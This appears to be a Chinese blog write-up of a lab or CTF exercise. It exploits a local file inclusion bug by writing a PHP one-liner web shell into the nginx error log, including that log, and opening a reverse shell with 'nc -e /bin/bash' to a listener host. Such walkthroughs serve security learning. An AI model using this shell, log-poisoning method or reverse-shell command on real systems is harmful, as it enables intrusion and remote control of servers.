先尝试远程文件包含发现开启了url_include所以不行

那php://input也不行

那就尝试往日志里面写,然后包含日志文件

往日志中写个一句话木马

<?php @system($_GET['rerce']); ?>

http://192.168.253.134/thankyou.php?file=` `

在进行文件包含时,发现不是路径就会将其写入到error日志里面去

查看error日志是否包含成功

http://192.168.253.134/thankyou.php?file=/var/log/nginx/error.log

由图中可以看出日志中记录了三处我们的shell,但是为啥没执行了,根据返回来的日志猜测第一处和第二处是因为当include执行时报错,服务器就把该语句转义后写入到了报错日志中,即<\?php system(\$_GET[\'rerce\']);\?>,所以当我们包含日志文件时,include看到这里是转义的语句,就当成文本输出出来了,所以就不会执行。

最下面一处没执行的原因也很清楚,就是我们在发送请求时给我们url编码了,报错时日志想要写入请求信息,而请求就是这样一个样子,所以在日志里面就是这样原封不动的样子

通过burp抓包也可以很清楚的看到给我们url编码了

解决办法

前两出给我们转义了,没办法

只能通过最后一处

我们可以抓包然后改成url编码前的样子再发送过去

这样在日志文件里面就是这样一个样子,且没有被转义

/thankyou.php?file=<?php @system($_GET['rerce']); ?>

那就好办了,直接包含错误日志

file=后面为空说明执行了


1.抓包修改

发送后此时一句话木马已经在错误日志里面了,两个转义的不能用,一个没转义可以用。那就包含日志文件

http://192.168.253.134/thankyou.php?file=/var/log/nginx/error.log

可以看到payload没了,说明执行了

反弹个shell吧

首先本地监听2000端口

nc -lnvp 2000

然后

http://192.168.253.134/thankyou.php?file=/var/log/nginx/error.log&rerce=nc -e /bin/bash 192.168.253.131 2000

成功

https://blog.csdn.net/rpsate/article/details/119769130?spm=1001.2014.3001.5501